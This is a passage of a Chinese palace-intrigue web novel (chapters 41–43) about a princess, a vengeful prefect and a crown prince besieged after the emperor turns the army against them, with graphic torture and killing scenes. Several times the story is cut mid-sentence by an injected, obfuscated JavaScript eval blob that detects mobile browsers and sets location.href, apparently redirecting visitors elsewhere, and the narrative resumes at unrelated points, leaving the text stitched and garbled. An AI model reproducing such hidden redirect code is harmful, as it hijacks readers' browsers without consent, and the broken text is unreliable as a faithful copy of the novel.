“虽无虎符,但本宫将亲自持节,前往皇城兵马司调兵。” 41. 第四十一章 京兆府后衙蓦然被一群人围住,窦宅的家丁顿时抄家伙挡到主人身前,朝这些蒙面之客暴吼:“你们要干什么,这里是京兆府,你们胆敢作乱!” “窦府尹。” 窦凯旋拨开家奴,就见一高大魁梧的蒙面客身后走出一戴着黑纱兜帽、裹得严实的女子,他插手一礼,“长平公主。” 沈磐歪过头,“府尹大人就打算把本宫晾在这冷风中吗?” 窦凯旋打量这些人,猜到他们不是长缨卫,略一思忖便侧身相让,“公主殿下莅临,寒舍蓬荜生辉。” 沈磐重重踩着阶前积雪,侧过脸、隔着兜帽看着窦凯旋装得顺服,然后大步跨进窦宅门槛。 一过中庭便是正堂,蒙面客占据了堂内要塞之处,更将正堂四周围得密不透风,沈磐这才解开兜帽,目光逡巡起堂内简陋的程设。 “不知公主殿下莅临所为何事?” 沈磐背对着他,淡淡道:“崔恒才、崔宏斌父子死了。” 窦凯旋安静了许久,才平淡接话:“哦,是么。” 沈磐转身,抽出袖中一张文书,“窦府尹还记得金正彪吧。” 窦凯旋望着她。 “这是他的证词。” 窦凯旋一愣,抖着手指接过那薄薄一张纸,展开一看,他像是不认识上面的字一样,硬是反反复复读了十来遍,他还似文盲看天书一般不肯抬头。 沈磐注视他越来越红的眼睛,更加残忍地将曲江边的真相复述出来:“那天令嫒在曲江与闺中密友游玩,刚好碰见了崔宏斌,崔宏斌心中有怨,这时天气又阴,便让人把窦姑娘引到林丛小溪,想吓吓她。那条小溪边死过人,是前朝某官家小姐,活生生被挖了眼睛惨死当场,凶手至今没有找到,这案子窦府尹是知道的。但令嫒没有上钩,崔宏斌因此作罢。” 窦凯旋的呼吸越来越急。 沈磐深吸一口气:“然后不巧,和密友告别的窦姑娘遇见了金正彪等一众新侯子弟。” 她再度环顾这萧条的正堂,“窦姑娘身边的仆从不多,三两个就被金正彪支开,金正彪以崔宏斌的名义再度相邀,然后窦姑娘去了,去了那处林丛小溪。” “够……够了。” 然后他唯一的女儿就死在了那里,衣不蔽体。 沉默了好久,沈磐才听见刹那苍老的窦凯旋悲愤问:“金正彪在哪里?” “在曲江,林丛小溪。” 窦凯旋吐出一口血气。 沈磐接过蒙面客递来的兜帽,边戴着边往门外走,“窦府尹亲自验完‘尸’,就带着京兆府兵把平凉伯府和永昌侯府围了吧,就说有人举报他们伙同逆贼、意欲谋反,霍家给府尹大人的那些蛊虫趁机早些用掉,以免危及自身。” “公主!” 沈磐迈过了门槛方才回头,“府尹大人还有什么事吗?” “岳筑璜……” 隔着黑纱兜帽,沈磐依然能看清他嘴唇乌紫、面色苍白。 岳筑璜跟了他整整十年,十年间视他为上官、为师长、乃至为兄为父。他曾多次劝告岳筑璜打发了他身边那个不老实的长随楚鹏,岳筑璜却说楚鹏虽然贪财,但因家贫父母卧病情有可原,且他救过自己的命,又未行伤天害理事,只是倒卖一些无关紧要的文书,他不能绝了他的生路。 然后黄金十两,楚鹏就绝了他的生路。 而这十两,是他给的封口费。 “是我对不起他。” 其实他早就觉得表面上的这番说辞里破绽百出,但他没有办法亲自探明,更迫于权势不能抬头。这黄金十两岂只是他给楚鹏的封口费?还是他自己的卖命钱。 沈磐不说话,只转身踩着雪点走出后门。 ** 沈磐赶到大理寺时,正遇见萧蘋连官帽都来不及戴就跑了出来,“公主怎么来了?” 萧蘋不得已停下来朝沈磐行礼。 “萧少卿要往哪里去?” “臣刚听见京兆府飞鸽来信,说是平凉伯府和永昌侯府祸藏甲兵、意欲谋反,窦凯旋亲自带人去了——” 看来窦凯旋没有去曲江手刃金正彪。 “既然窦凯旋去了,大理寺就不必再去。” 萧蘋着急:“这不行,窦凯旋是那头的人,他必然——” “那他为何给宫里送信?” 萧蘋一噎。 正此时,东直门甬道上走出几个人,两人一齐望去,居然是郇渰和郇昇兄弟两个。 往来人声嘈杂,累日疲乏、心力交瘁的萧蘋不再顾及宫规朝郇渰喊道:“起云兄!明蕖弟弟!” 郇渰兄弟走来,“见过长平公主。” “明蕖弟弟怎么进宫来了?” 郇昇道:“太子殿下亲自去皇城兵马司调兵被拒,殿下就命人去开武库,但侍郎大人不在衙门里,科道议论纷纷,兵部无人敢开。所以我打算亲自去一趟兵马司,找齐将军问问清楚。” “武库没开?” 三人俱看向满脸震惊的沈磐。 郇渰轻声解释:“房侍郎去了紫微宫,兵部有不少人受霍辄、嵇阚的恩典,没有房侍郎的命令,他们是不会听从东宫的。况且谁敢擅自做主打开武库,谁就要背上重责坐上东宫的船,除非……除非把他们都换了,换成东宫的人,但短时间兵部大换血,恐怕宫里言官的议论就要压不住了。” 沈磐仍然不解:“可我入宫时见兵部……” “三公子!世子!” 推搡着来往之人,郇昇的长随跑了过来,“公子,武库开了!” 郇昇的眼光顿时明亮,“开了?” 但郇渰却一把抓住那长随严肃追问:“怎么开的!” “是兵部一个郎中下令开的,叫……叫史可平!” 萧蘋叹道:“我认得他,人人都说他贼眉鼠眼,现在到底是谁有眼无珠?” 郇昇来不及同萧蘋一起感慨这“尧长舜短,不可貌相”,再度道:“武库早开也好,但皇城兵马司我还是要再去一趟。” “太子持节、内阁诏令,齐天觉还敢抗旨不从……” 郇昇第一次毫不避讳地直视沈磐诚恳道:“臣明白,兵马司也是虎穴狼窝,但是没有这些兵,我们就围不了五柞宫。” 只听见郇昇说的“我们”二字,沈磐心里缝缝补补的口子又渗了血。 其实只是东宫,只是太子一家,除此之外的任何人都可以、都应当作壁上观。或许他们是在为自己的家族谋一个从龙之功,但在破夜曙光迟迟未至的现在,他们只是在凭白为东宫性命驱驰。 郇渰自知拦不住弟弟,只拍拍他的肩以示勉强的赞同,他就要带着弟弟离开,却听沈磐轻轻说道:“要平安。” 郇昇微微怔住,旋即朝沈磐笑着点头。 他从小就是一个乐观开朗的人,但近来事多愁重,郇渰也少见他脸上出现这么开怀明亮的笑。 郇渰朝沈磐颔首,一并随郇昇离去。 大理寺门前又只剩下两个人。 沈磐直接道:“我要见霍开武。” ** 霍开武潦草地套着囚服,被人用力绑在了刑架上。他抬起头,自蓬乱发臭生了跳蚤的头发里看见,一身黑的沈磐从大理寺狱的黑暗里走出。 这样她的脸更白了,曾经白得像透水的玉,现在只是张纸。 纸上写满了恨恨恨。 他嗤笑起来:“你可算来见我了。” 然后他就看见沈磐黑色的斗篷一闪,露出一柄白森森的匕首。 霍开武勃然变色。 沈磐冷笑:“看来你很想我。” 霍开武磨着牙槽,“是,很想口口你。” 沈磐即刻走近一步,霍开武额头顿时渗出冷汗。 匕首近在咫尺,说不怕,鬼相信。 沈磐的笑容更大了,说起来觉得毛骨悚然,她的笑和平日里没什么不同,而今看来却觉得格外阴森可怖,像是那女蛊不仅吃了她的子宫,还伤了她的脑袋使之疯癫。 “你知道嵇阑说过什么吗?” 沈磐举起手中的匕首,寒光一转,她的声音就如同这点寒光刺得霍开武难以睁眼,“他说,要阉了你。” “阉了我?”霍开武猛然瞪大眼睛,“怎么,我没用过的东西他还能嫌脏?” 匕首贴脸,霍开武即刻不说话了。 沈磐歪头,“怎么不说了?” “你要我说什么?” 微一用力,霍开武脸上就皮开肉绽,他疼得咬紧牙关,愣是没发出一点软弱的呻吟。 “就说你给本宫下的蛊吧。” 霍开武猛喘几次平复下来,这一会儿的功夫就忘了疼,他谑笑道:“有什么好说?公主不都自己体味到了吗?怎么,滋味不够好吗?那就不是蛊的问题,是人,人不中用……” 匕首又甩上他的脸,“怎么解?” 霍开武狂笑起来,“啊哈哈哈,这种人间极乐,别人求之不得……” “废话一句,挖一只眼睛。” 见她不似唬人,霍开武沉下已经被划破相的脸,“无解。” 沈磐敛眉。 “毕竟公主不是说了吗?给你下这种蛊,就是要你的名还要你的命,怎么可能有解?” 沈磐抬眉。 “其实不行房就好了,顶多不能生育,这阴阳一合,那么完蛋!” 沈磐捏着他的下巴将他往上一掰,那吹毛可断的刃尖就刺中他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049696|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼角。 “怎么完蛋?嗯?” “你自己觉不出来吗?交欢不过是缓解,是解一时之渴,可情欲这个东西,是阳关外无边的沙漠,一瓢水又怎能缓解得了?” 沈磐猛地撒手,霍然一刀往他□□捅去。 “啊!” 霍开武痛叫了出来,猛张着嘴,牙齿上挂着涎液,像是要一口把沈磐的脖颈咬断。 沈磐还不忘把刀一旋,听见有什么东西在滴滴答答淅淅沥沥的血流里落了地,这才后退一步。她本想在他的领口擦血,但总觉得他的领口沾了涎液比他的血还要脏,便熄了这个念头,再退后一步,将匕首递给顺势走来的长缨卫。 “再等会儿,用这把匕首把他眼睛挖了——” 沈磐打量着血流不止的霍开武,“可惜了,你痛不了太久。” 说罢,她转身欲走,刚走出牢房,便继续道:“趁他没死还清醒,再把头割了送去永诚侯府,别忘了告诉朱侯爷一家,霍氏谋反,让他们选好自己的路。” ** 永诚侯世子在嵇阚书房里哭了许久,哭得嵇阑都觉得厌烦,嵇阚却始终不说话。 “成礼贤弟,哭多了伤身子,朱侯爷已然卧病,永诚侯府离不开你,你千万要保重身体。” 嵇阑递了帕子,朝面色铁青的嵇阚使眼色,嵇阚干脆别过脸不看他。 朱成礼哭丧道:“嵇世叔,眼下只有您能帮我们拿主意了!我爹他……他一看见霍开武的头颅就晕了过去,大夫说他身上破溃反反复复,又受了这样的刺激,恐怕熬不过今年了!” 嵇阑叹气:“贤弟,宫里送霍开武的头颅给你们,这主意你们还拿不定吗?” 朱成礼攥住嵇阑的袖子,“世兄!东宫是拿霍家的下场威胁咱们呢!他们让我们听话,可光听话了能有什么用,我们是跟着霍大将军建功立业的,天然就是东宫的仇敌,此刻退缩,将来定要成为板上鱼肉任人宰割!” 嵇阑叹息,看向嵇阚,口吻无奈勉强,间或夹杂着嘲讽,“这么看,你们不是已经有主意了吗?” “世兄难道还不知吗,窦凯旋带人围了平凉伯府和永昌侯府!现在我们一众新侯是一荣俱荣、一损俱损!不救他们,难保下一个遭殃的不是我们!” 朱成礼朝嵇阚跪下,“嵇世叔!现在放眼化隆的将军里,就数您最有资历、最有权势了!也就数忠义侯府最有底气了!如果没有世叔您的号召,我们和武定、长兴两家一起还是一盘散沙,他们畏畏缩缩唯唯诺诺,怎么敢和东宫较量?他们贪生怕死,可我们怎么能看着他们把我们拖累至死!” “成礼贤弟,只是你们。” 朱成礼瞪大眼睛,“世兄!难不成你们早就投靠了东宫?一仆不侍二主,哪怕世兄和长平公主别有关系——” “朱贤弟慎言。” 朱成礼膝行走向书案后的嵇阚,“世叔!现在这个时候,我们不能离心离德啊!” 嵇阚终于发话,“那你知道霍轶逃去哪了吗?” 朱成礼泪流满面地摇头,“这和他有什么关系?世叔,您如果退了,咱们几家勋贵都要完了!” “没关系?东宫宣称陛下已死,那究竟是谁谋害的陛下?” “陛下怎么可能驾崩!” 嵇阚冷笑:“是啊,陛下怎么会死呢?但陛下久居五柞宫,政令一应从东宫传出,霍轶拿着陛下的圣旨却擅杀朝臣,被太子缉捕就下落不明。呵,而今这局面,陛下假死倒不如真死来得痛快,霍家一边拿着陛下做法,一边又躲得无影无踪,他们闯出来的祸端全要由我们承担?胜了,他们就是新帝的外家,你我想捞到什么便宜?败了,你我就要一同陪葬!朱成礼——” 朱成礼浑身汗毛倒竖。 “你们家不会也早就跟着平凉伯和永昌侯,一起搅和到谋反里去了吧!” 朱成礼抖如筛糠。 “我嵇家从未有过这些不臣之心,自然不知道霍家的葫芦里卖的什么药,这霍家搅起来的浑水自然不敢趟。你们永诚侯府最好不要自作聪明、害人害己,东宫敢杀一个霍开武,你当他们没本事灭你满门?” 嵇阚起身,走至门边,“既然收了头颅,那就按照东宫的意思,好好守住你的家,给你爹攒攒棺材本,别让他戎马半生、草席一捆。” 嵇阑拉起软在地上的朱成礼,“朱贤弟,请吧。” 朱成礼甩开嵇阑的手,揩了把脸,颤巍巍走到门边,刚好与冲过来的下人打了照面。 嵇阚不悦:“着急忙慌的,又出什么事了?” 下人惶恐道:“武定伯、长兴伯带了家丁,往平凉伯府和永昌侯府去了!” 嵇阚咬牙骂道:“好啊,今年地府的鬼差要加班了!” 42. 第四十二章 华沅正坐在屋内走神,忽然听见门响,抬头就见才回十二卫衙门轮换的郇昇去而复返。 他不由大惊失色:“你怎么回来了!” 郇昇拉住战友华沅,“伯歧兄,我要求见齐将军。” 华沅连拖带拽地把郇昇拉到里屋,“明蕖,昨夜太子来过,齐将军拜受了符节但不发兵,还说全军上下谁敢擅动就要砍谁的脑袋,你现在去,吃军棍事小,掉脑袋事大!” “伯歧,齐将军为什么不肯发兵?” 华沅摇头:“不知道,但我知道你要是敢去问……” “伯歧,是有谁来过了吗?是五柞宫的人吗?” 触及郇昇眼底的着急,华沅沉默。 郇昇压低声音恳求:“伯歧,你能告诉我是谁吗?这个消息对我真的非常重要,我哥哥娶了太子的亲姐姐,如果齐将军不发兵,太子有了意外,我们一家也不会平安。伯歧,求你了……” 华沅紧咬牙关,推着郇昇往外走。 郇昇还坚持求他:“伯歧!你是我在兵马司最好的兄弟……” “明蕖!” 郇昇看清了华沅脸上的沉痛。 “郇明蕖,你快走。” 郇昇四肢僵硬,“为什么……是因为……因为……” 华沅不由分说,拉着郇昇就朝房外跑。忽然,一直苦求的郇昇没了声音,他顺着郇昇的目光抬头看去,就见中军大帐里走出一个男人来,比着手中的剑,漫无目的地四下张望。此时此刻,那男人正朝他们两个人看来。 那男人的脸色顿时难看。 华沅浑身的血都凉了。 他一上午所有的顾忌和考量全都抛诸脑后,骤然使出所有的力气,拖着郇昇就往营外跑。 “那是……霍轶!” 华沅一股脑将自他走后兵马司所有的变动全都吐出:“霍轶很早就来了,拿着陛下的旨意和大将军霍辄的手书,让齐将军按兵不动,还说只要不是陛下的节,所有人格杀勿论。昨夜太子来,霍轶在营门附近埋伏了人手,想要谋害太子,最后是齐将军出手拦截,放走了太子。但这些太子并不知道……” 身后远远传来了追缉者的呵止。 华沅见前路将断,和郇昇心有灵犀地一同拐上了前往马房的小径。 “从这里去延兴门的小路你还记得吧!” “记得!” 华沅抄起木架上的陌刀,作势要和郇昇一同上马出逃,却在郇昇勒着马缰绳跳出马厩狂奔向偏门小路时,他一转马头,横刀挡在追兵面前。 追兵全是霍轶散落兵马司的虎贲卫。 华沅匆匆扫过他们的队势,直冲弓箭手砍去。 ** 张永一带着长缨卫赶来时,平凉伯府门前横遍武定伯府家丁们的尸首。 不,不仅仅是武定伯府的家丁,还有洞开正门后平凉伯府人马血肉模糊的尸体。 窦凯旋提剑浴血而出,身边的领军都督手捧金家人与霍氏来往的信函,高声朝门外马上的长缨卫呼喊:“平凉伯府阴与逆贼串通,现已伏诛,谋反罪证在此!” 张永一难言震撼。 皇城兵马司不肯发兵,太子只能亲自前往宁远门外的两都兵马司调兵,因而化隆城内事皆在内阁指挥之下。他本是要去芳林门外,和引调玄武卫归来的兵部侍郎房桂稻交接,不想在路上听见了过路百姓的议论,顿时调整队伍往最近的平凉伯府而来。 窦凯旋此举,绝非内阁授意。 张永一还坐在马上,远远望着京兆府兵合上空无一生人的平凉伯府,然后掏出事先准备好的封条贴住了正门。 领军都督快步走下台阶,将罪证呈到张永一马前。 张永一不看,只听窦凯旋对身边人道:“带上他的人头,即刻前往永昌侯府捉拿逆贼!” 闻言,张永一朝他脚下看去,这才发现窦凯旋不执剑的那只手提着的居然是平凉伯金广和的人头!此刻,金广和的脑袋正被他踩在脚下,他轻轻一踢就滚到了属下的手中。 张永一呼出一口气,热气即刻在冷空中挥散。 窦凯旋一步步走下台阶,叫回领军都督:“即刻前往永昌侯府,不得有误!” 领军都督看看张永一,再看看窦凯旋,最终将金家的信件交给了窦凯旋的家仆。 “劳张佥事向东宫陈情,窦某先斩后奏实在是情非得已,还望张佥事理解。” 说着,窦凯旋放下剑,脱下官帽,从灰蒙蒙的发髻中拨出一根粗针,仔细一看,那是一张被卷起来的字条。 他举着字条展示给张永一,张永一背脊一凉。 上面只有两个字——长平。 见张永一神色凝重,窦凯旋将字条捏入满手的乌血之中,朝他颔首,“张佥事公干,本府就不打扰了。” 说完,他转身上马,也朝不远处的永昌侯府而去。 长平。 是长平公主沈磐的意思。 张永一倒吸一口凉气。 也是长平之战万人坑的意思! 是长平公主要像长平之战里的白起一样地“坑杀”他们的意思! 是沈磐的意思。 张永一坐了很久,这才重新引马奔向芳林门。 可他和窦凯旋顺路。 永昌侯府门前血流成河,但武定伯和长兴伯带足了人手,加上永昌侯府自己豢养的私兵,和被窦凯旋分了人手的京兆府兵僵持不下。 但窦凯旋的出现,以及金广和的人头,瞬息敲碎了这样荒唐的僵局。 张永一勒马,带着长缨卫远远在巷口看着。 平凉伯之子金正彪莫名失踪,金广和撒了不少人手到处去找,于是伯府空虚,正方便他们一举攻破。武定伯和长兴伯着实没有想到,窦凯旋放着永昌侯府不咬,居然挑最软的骨头平凉伯府下手,打了他们一个措手不及。 他们领兵打仗这么多年,就居然犯了这样低劣的战略错误。 窦凯旋来之前他们或可用“冤枉”二字给他们自己搏一条生路,现在,窦凯旋是学着霍家的作风照猫画虎地咬死了金广和,平凉既破,罪证如山,他们再与京兆府兵相争,就相当于攻击朝廷、是真正的意在造反了。 武定伯和长兴伯看向披甲扛枪的永昌侯。 他们还看见了远处的长缨卫。 他们的血立刻沸腾,张永一还未凉透的血却彻底凉了。 永昌侯胡荣领喊道:“嵇阚你个懦夫!活该你没有封侯!二位贤弟,你们敢不敢和我一起杀出去,杀了窦凯旋这个忘恩负义的乱臣贼子,杀上承天殿、杀去五柞宫,让陛下评理!” 侯府侧门大开,胡荣领之子胡允樟也举着刀跳了出来,“父亲!儿子来当先锋!” 窦凯旋重新拔剑,“胡侯爷,现在认罪尚有余地。” 胡荣领嗤笑:“余地?我胡荣领征战沙场二十余载,从来没有听过‘余地’二字!窦凯旋,你阴谋栽赃,且看你今日投靠东宫,他日也必是三姓家奴的下场!来,我这把枪今日又要饮血了!” 身边千户提醒张永一道:“佥事,胡荣领当年在西北曾以一人之身斩杀义律五十余人,是员悍将!京兆区区百余人,武定伯和长兴伯也都是军中能手……” 张永一只默默注视着一触即发的局势。 他该帮的,因为这是沈磐的意思。 他也不该帮的,因为这不是太子的意思。 他甚至也能像那些官场倾轧的好手、栽赃嫁祸的斗士一样阴暗地想,窦凯旋栽赃岳筑璜,说明他就是霍党中的一员,奈何如今刀锋调转,砍起霍家的臂膀、撬动陈王的基石?沈磐有什么能耐,让冷硬的窦凯旋为她驱驰?抛下这些疑团不管,让窦凯旋带着京兆府兵和霍氏新侯拼得你死我活,或许这就是沈磐最终的用意。 窦凯旋一定是明白的,清楚地明白长平公主沈磐绝对不可能对他法外开恩。 消灭新侯不是赎罪求生,而是负罪就死。 所以,人渴望生存的本性也让他不甘心,不甘心让那样弄权乱局的黑手永远隐匿幕后。 他会揭发她,揭发本就用心不纯的她。 张永一密切注意着窦凯旋。 他脸上金广和留下的血似在说:悍将如何?猛将又如何?他窦凯旋一介书生,依然能够杀贯地府。 窦凯旋高声道:“诸位京兆的勇士听见了?逆党不思悔改,这便让他们死后向阎王爷认错!” “杀!” “给我杀!” “杀了他们!” “给我杀!” “杀!” 张永一已经听不清是谁在喊了,只见得眼前一片血海,窦凯旋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“两都兵马司总共五千来人,现在再去长安、洛阳调兵来不及,除去锦麟、阴阳、虎贲,剩下的九卫撑死不过两万人,刨去必须的宫廷警卫,一万七千人左右可用,京兆的府兵全要看家护院、维持京城秩序动不得,那么现在化隆附近可用得兵就只剩……” 房桂稻指着地图两端,“左冯翊、右扶风,臣即刻命人前去调兵。” 太子皱眉,“估算能有多少人?” “两万,不可能再多了。” 太子望着化隆城防图,“皇城兵马司常备职业兵士就有五万人、还有百余名阴阳卫,五柞宫临近长安废都,长安道守备约有一万人,再往西往北就是云仑将军辖区……” “远水难解近渴,五柞宫只有两千锦麟卫、一千多的阴阳卫,只要够快!” 房桂稻朝走来的沈磐摇头:“人马全去了五柞宫,延兴门外的皇城兵马司就难办了。” “他们不听从我们的调令,那就截断五柞宫到兵马司的消息,齐天觉骑墙观望,他不会擅自插手。” 房桂稻对此认同,但见太子更加沉重,“只怕来不及,去五柞宫的一路我都让长缨卫设了关卡,让他们定时回报,现已杳无音讯。” “城防有报!” 三人俱回头,就听长缨卫禀告:“城南启复门有报,似是看见了阴阳卫。” 房桂稻不由得惊喜:“乔晏回来了。” 随即他反应过来,“他是在往皇城兵马司去!五柞宫派他来调兵!” 沈磐声音颤抖:“要拦住他!” “来不及了。” “殿下,容臣亲自前往皇城兵马司,和乔晏解释清楚!” 太子点头。 但沈磐已经从太子枯井般的眼里看到太子的答案。 房桂稻和乔晏是连襟,但君令在身,房桂稻不一定说得动乔晏,且乔晏顺从地前往皇城兵马司调兵,就说明他也相信了太子造反的说法,而五柞宫那边,锦麟卫胆敢放乔晏出宫,就说明他们有把握乔晏不会临阵反水。 他们怎么敢的? 沈磐背后一凉。 房桂稻已经跑出了文正殿。 43. 第四十三章 可齐天觉已经接过了乔晏带来的天子符节。 虎符两半合二为一,五军整顿,乔晏这才看见了不应该出现在营地里的霍轶和他的虎贲卫。 他突然就感觉自己被骗了。 他突然就后悔自己没有耽搁半天去化隆城内一探究竟。 他突然就萌生了要抢回符节的念头。 但一切都晚了。 按照陛下的旨意,接受了符节,齐天觉就该强攻破城、围剿叛党、杀入东宫。 乔晏伸手拦下高台上的齐天觉,目眦欲裂,“齐将军,解释一下!” 齐天觉看向霍轶,霍轶大摇大摆地走上高台,“我有陛下的谕旨,也是天子的使者。” “谕旨?霍指挥使擅杀朝廷命官,这也是陛下的谕旨吗!” 霍轶一字一句道:“陛下的谕旨就是,非天子之节、格杀勿论!” 齐天觉拦不住,乔晏一步冲至霍轶面前揪住他的领口,“我一直在五柞宫,从未听说过陛下下过这样的谕旨给你!” “乔指挥使不知道的事情有很多。” 乔晏一怔,手一松,这些天在五柞宫的见闻、沿途阴阳卫的血迹都在一个弹指间飞过脑海,最后浮出眼前的就是那夜陛下的愤怒,他的愤怒,一个宰割天下几十年的君父的愤怒! 他怒的根本不是太子因为造反而杀了英国公。 他怒的是太子又一次违抗了他的命令! 又一次地忤逆君父! 所以这一切都是安排好的吗? 哪怕不需要他送这杆符节,齐天觉也会在霍轶带来的谕旨下按时发兵围城。 陛下只是在试探自己,又或者说,这只是他们和自己开的一场忠君报国的玩笑。 乔晏五指握上剑柄。 齐天觉隔开剑拔弩张的两人,“有什么误会,都等事态平息过后去陛下面前分说!传我军令,围攻延兴门、直取皇宫外城!” ** “殿下!太子殿下在何处!” 房桂稻和乔晏飞驰于禁止疾行跑马的东直门甬道,一直到东直门羽林卫长枪严阵,乔晏这才翻下马往内宫冲去。 房桂稻追不上他,只能大喊:“快让开!阴阳卫指挥使求见太子!快去通报!” “房侍郎!” 房桂稻猛地刹住脚,回头就见宫道上站着一个甚为眼熟的五品官,他回想了半瞬,即刻朝他颔首:“卿寺丞!” “是逆党调动了皇城兵马司吗!” 房桂稻一愣,卿澄得到了答案,“快带我去见太子。” 待见得太子,房桂稻才明白刚才听见卿澄的那句话里,究竟是哪两个字眼戳中了他的死心。 逆党。 陛下显然没有死,乔晏调兵的命令就是陛下亲自下达的。 显然,陛下也没有被霍氏控制。 他清醒,清醒得知道要反败为胜、力挽狂澜的关键就在于皇城兵马司的五万人。 甚至于,他从头到尾都是清醒的、不被蒙蔽的、操纵一切的,真正被蛊惑的、蒙蔽的、被操纵的,反而是太子,是化隆城的文武百官。 现在,他们成为了真正的逆党。 没有皇城兵马司护航的一派就成为了逆党。 文正殿陷入了宫乱以来,最久最久的死寂。 打破死寂的是沈磐,“二哥!即刻征发三司狱中的牢犯,还要动员化隆百姓,向他们分发兵器,严守城门。” 冉琢明不顾吏部尚书方继昌的阻拦,顺着沈磐的思路建言:“齐天觉带人攻城,兵马司守备疏松……冯翊、扶风之兵继续去调,直袭皇城兵马司。” 方继昌大声打断:“陛下没有死!” “他必须死!” “长平公主你怎能……” 沈磐转身冲到乔晏身边,一把拔出他的佩剑,“方尚书,你还记得那把‘除秽剑’!” 甩开乔晏的阻拦,她将剑比划到方继昌的脖间,“‘除秽剑’是给你们这些文武百官留的退路,若是兵败的,死的只有我们东宫一家,你们只是受了胁迫、并非有不臣之心。” 方继昌眼睛通红,“老臣感念殿下的仁善,但是——” “但是什么?但是你仍然觉得你们的陛下是英明神武的,只要和他解释清楚,就能免去这场流血吗?” 沈磐的视线刀割般逡巡周围的所有人,“他清醒得很,所以阻断化隆到五柞宫之间的消息往来、任命霍轶这样包藏祸心的人调查巫蛊,这一切都是他清醒时的谋划!从来没有任何蒙蔽,从来没有任何操纵,他全都是明白的!” “这一切都是他计划好的,要废太子,要灭东宫,你们跟着冉大人三番五次地忤逆他,他难道会放过你们吗?他会放心把你们留给陈王吗!你们的妻子儿女还能活吗!从头到尾,他要趁机打掉的从来都不只是一个东宫!还有东宫身边这个与他作对的朝廷!” “公主!陛下不是这样的人!” 知道沈磐根本就不想伤害他,方继昌逼近一步,逼着沈磐攥着剑后退一步。 “陛下少年时,老臣就跟着他和辅国长公主一起南巡,他是什么样的人,老臣最清楚不过!陛下是见过民生疾苦的,他是能听得进臣民箴言的皇帝!平夷乱、兴漕运、治水患、定南蛮,严暴群臣只是为了遏制世家门阀的骄奢抱团之风!他是真正在为百姓做事,绝不可能为了一己私利而要擅灭群臣!” 沈磐眼眶一热,“那他为什么要废太子!” 她抖着手稳着剑朝他们吼问:“他为什么要废太子!” “没有私心他就要废太子!” 方继昌一时语塞。 沈磐睫间垂泪,“还觉得情有可原是么?毕竟曾是个英明神武的君主,晚年也不免昏庸。他就是太爱陈王了是么?爱得恨不得杀了他从前的挚爱!” “他不是神……是人就会犯错,知错能改……” “‘始终如一’这四个字只有神能做到吗!” 方继昌又是一噎。 沈磐忍住眼泪,“好,就算‘知错就改’也成了皇帝的美德,那你们说,他犯错的代价是什么!” 沈磐“咣当”扔下剑,大笑起来:“史家都会原谅他的!就像原谅了一个又一个汉武帝,然后建起一座又一座思子宫!生人、死人、所有人都会原谅他!原谅一个知错就改的父亲!” 她转身看向被笼在自己影子里的太子,“但是二哥,你会原谅他吗。” 殿外风过,吹落她的眼泪。 她苦笑道:“我不能原谅……我为什么要原谅!” 她从来都不想走到“原谅”的地步,可事不遂人愿,还总会发展到“不可原谅”的、最坏最差的程度。 太子阖上眼。 他深吸一口兵乱前的平静。 这样的平静就像是暗涌上泥沼,就像是漩涡上冰面,可太难得了。 二十五年一生至此战战兢兢。 他第一次感受到了平静。 困兽犹斗,况人乎? 他睁眼站起,“来人!请方尚书移步武英殿,不得本宫的允许不准离开!” 方继昌难掩震撼,大哭道:“你要软禁我!” 陶识礼挡到太子身前,隔开方继昌的视线,“为了你好,老方……” 他挣脱开羽林卫的挟制,“我方继昌不是贪生怕死之辈!” “请方尚书移步武英殿!”太子高喊。 话落,方继昌还是被拖了出去。 太子走向冉琢明:“请首辅大人即刻下旨催促,再调两都兵马司相助。” 冉琢明低头蘸笔。 “请骁骑卫和玄武卫指挥使前来!” “殿下!” 众人看去,一直沉默在角落的卿澄走到中央。 太子的眼神都变了,一时间温和下来,可他的话还是凛冽的:“卿寺丞有何见教?” “求殿下应允,微臣要亲自前往五柞宫。” 乔晏焦急:“不可,郇侯都差点没命了,还是因为辅国长公主的情面才得以保全……” 卿澄还是凝望着太子,“殿下,除秽剑是臣子的退路,您也要有条退路。” 众人怔在原地。 “这条路从来都是有去无回。” “殿下您也有挚爱——”卿澄转头看向沈磐,“定不愿他们也遭劫难。” 太子的眼圈红了。 “季谨死了,郭辞文死了,辛喾也死了,就只剩下我一个人。哪怕没有情分,有我哥哥在南海道封疆一方,陛下也不会杀我。” 结局已定,奈何前行。 太子还是长叹一声:“乔指挥使,劳烦你了。” ** 守城第一日。 五万精锐在外,其实他们早就料到了结局。 他们已经做到了最好,但这一开始就是永济帝的陷阱。 城不能出,敌兵虎视眈眈在外,宫里也不够安全,政令往来畅通无阻,宫门自然不能关。 所以沈碧来东宫接沈仪璩和沈仪玥时,沈磐并不惊讶。 五柞宫从来不是退路。 但出逃可以是。 这说起来很卑劣,无数将士抛家弃子为东宫血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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长平、兖国都是她用过的封号。 如今沈磐也是长平公主,虽然他知道不是旧人,可在这雪中梅园,他就能假装一回,好像他赶在了新帝登基的那个岁末,在三十年前的梅园里见到了临死前的公主。 他从没有非分之想,只希望她能好好活下去。 “殿下,快走吧。” 他也不知道这个“殿下”是谁,只是怀抱着瓷罐朝他们深深行礼。 “冉先生,你来东宫做什么?” 冉琢明捧着那只瓷罐,“借点雪——殿下快些走,一定要好好活下去。” 